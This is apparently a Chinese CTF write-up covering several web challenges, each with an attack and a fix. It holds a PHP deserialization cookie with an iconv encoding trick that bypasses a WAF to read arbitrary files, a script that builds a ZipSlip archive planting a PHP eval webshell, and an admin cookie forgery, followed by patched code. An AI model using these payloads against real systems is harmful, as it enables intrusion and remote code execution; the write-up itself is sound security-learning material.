MediaDrive

Attack

漏洞点在preview.php

file_get_contents函数可以读取文件,$convertedPath路径由$rawPath经过iconv编码转化得到,而$rawPath$user->basePath$f拼接构成,$user->basePath通过反序列化可控,$f可以直接传值可控,可以实现任意文件读取。

但是要读取flag,很明显存在preg_match的过滤,禁止了flag路径。

注意到iconv函数,将$rawPath$user->encoding编码转化为UTF-8,且转写策略是IGNORE,编码转换所在WAF后进行的,可以利用字符编码的脏字符绕关键词匹配WAF

简答遍历一下在UTF-7UTF-8过程中,会被IGNORE的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$ori_encoding = "UTF-7";
$goal_encoding = "utf-8";

for ($i = 0; $i <= 255; $i++) {
$hex = strtoupper(str_pad(dechex($i), 2, '0', STR_PAD_LEFT));
$encodedString = "%{$hex}";

$decoded = urldecode($encodedString);

$iconv_content = @iconv($ori_encoding, $goal_encoding."//IGNORE", $char);

if ($iconv_content == false || $iconv_content == ''){
echo $encodedString."\n";
}
}

?>

这里选用%C2,反序列化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class User {
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";
}

$exp = new User();
$exp = serialize($exp);
$exp = urlencode($exp);
echo $exp;

// O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

payload为

1
2
3
4
5
GET /preview.php?f=fl%c2ag HTTP/1.1
Host: 127.0.0.1:8080
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D


Fix

主要问题在于WAF后了再进行了编码转换,交换一下WAF和编码转换的位置即可,同时考虑添加限制目录必须以/var/www/html/uploads/开头

1
2
3
4
5
6
7
8
9
$rawPath = $user->basePath . $f;

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);

if (!str_starts_with($convertedPath, "/var/www/html/uploads/") || preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

esay_time

Attack

是Python+PHP服务,Python服务对外暴露,PHP不对外暴露。
简单审计可以发现,/about路由存在SSRF:

再观察可以发现存在文件上传功能:

服务端接收一个zip压缩包并进行解压,存在Zip的目录穿越漏洞,可以把压缩包里的webshell通过目录穿越上传到指定的PHP服务的文件夹。

PS: 此处赛方给出的docker-compose.yml设置了read_only: true,按理来说/var/www/html目录不能写入文件,但是实际远程靶机却可以

构造恶意压缩包:

1
2
3
4
5
6
7
8
9
10
11
import zipfile
def create_malicious_zip():
try:
with zipfile.ZipFile('evil.zip', 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php'), '<?php eval($_REQUEST["cmd"]);?>')
return True
except Exception as e:
return False

if __name__ == '__main__':
create_malicious_zip()

上传文件需要登录:

爆破可以得到密码:secret

实际上也可以直接伪造登录:

1
Cookie: visited=yes;user=admin;

先上传压缩包:

读flag:

Fix

修复点主要是鉴权和zip解压时要防止目录穿越,以及SSRF漏洞,还有默认密码和secret_key也可以考虑修改一下

关于鉴权,可以采用flask.session进行会话管理,只有登录成功时才设置session

1
2
3
4
5
6
def is_logged_in() -> bool:
user = flask.session.get("user")
if isinstance(user, str) and user != "" and user is not None:
return True
return False
# return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')

h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")

if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
# resp = flask.make_response(flask.redirect(next_url))
# resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
# resp.set_cookie('user', username, httponly=True, samesite='Lax')
# return resp
flask.session.clear()
flask.session['user'] = username
return flask.redirect(next_url)

return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

return flask.render_template('login.html', error=None, username='')

zip解压源代码其实给出了修复代码,直接替换原来的safe_upload函数即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def safe_extract_zip(zip_path: Path, dest_dir: Path) -> list[str]:
dest_dir = dest_dir.resolve()
extracted = []

with zipfile.ZipFile(zip_path, "r") as zf:
for info in zf.infolist():
name = info.filename.replace("\\", "/")

if name.endswith("/"):
continue

if name.startswith("/") or (len(name) >= 2 and name[1] == ":"):
raise ValueError("Illegal path in zip")

target = (dest_dir / name).resolve()
if os.path.commonpath([str(dest_dir), str(target)]) != str(dest_dir):
raise ValueError("ZipSlip blocked")

target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)

extracted.append(str(target.relative_to(dest_dir)))

return extracted

SSRF的修复也是给出了源码的,直接用就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def _host_is_public(hostname: str) -> bool:
lowered = (hostname or "").lower()
if lowered in {"localhost", "localhost.localdomain"}:
return False

try:
addrinfos = socket.getaddrinfo(hostname, None)
except OSError:
return False

ips = {ai[4][0] for ai in addrinfos if ai and ai[4]}
if not ips:
return False

for ip_str in ips:
ip_obj = ipaddress.ip_address(ip_str)
if (
ip_obj.is_private
or ip_obj.is_loopback
or ip_obj.is_link_local
or ip_obj.is_multicast
or ip_obj.is_reserved
):
return False

return True

IntraBadge

Attack

怀疑是SSTI,但是套了SandboxedEnvironment并不知道该怎么绕过,redis也不知道怎么利用

Fix

None

Wso2

Attack

java 不会 ; (

Fix

None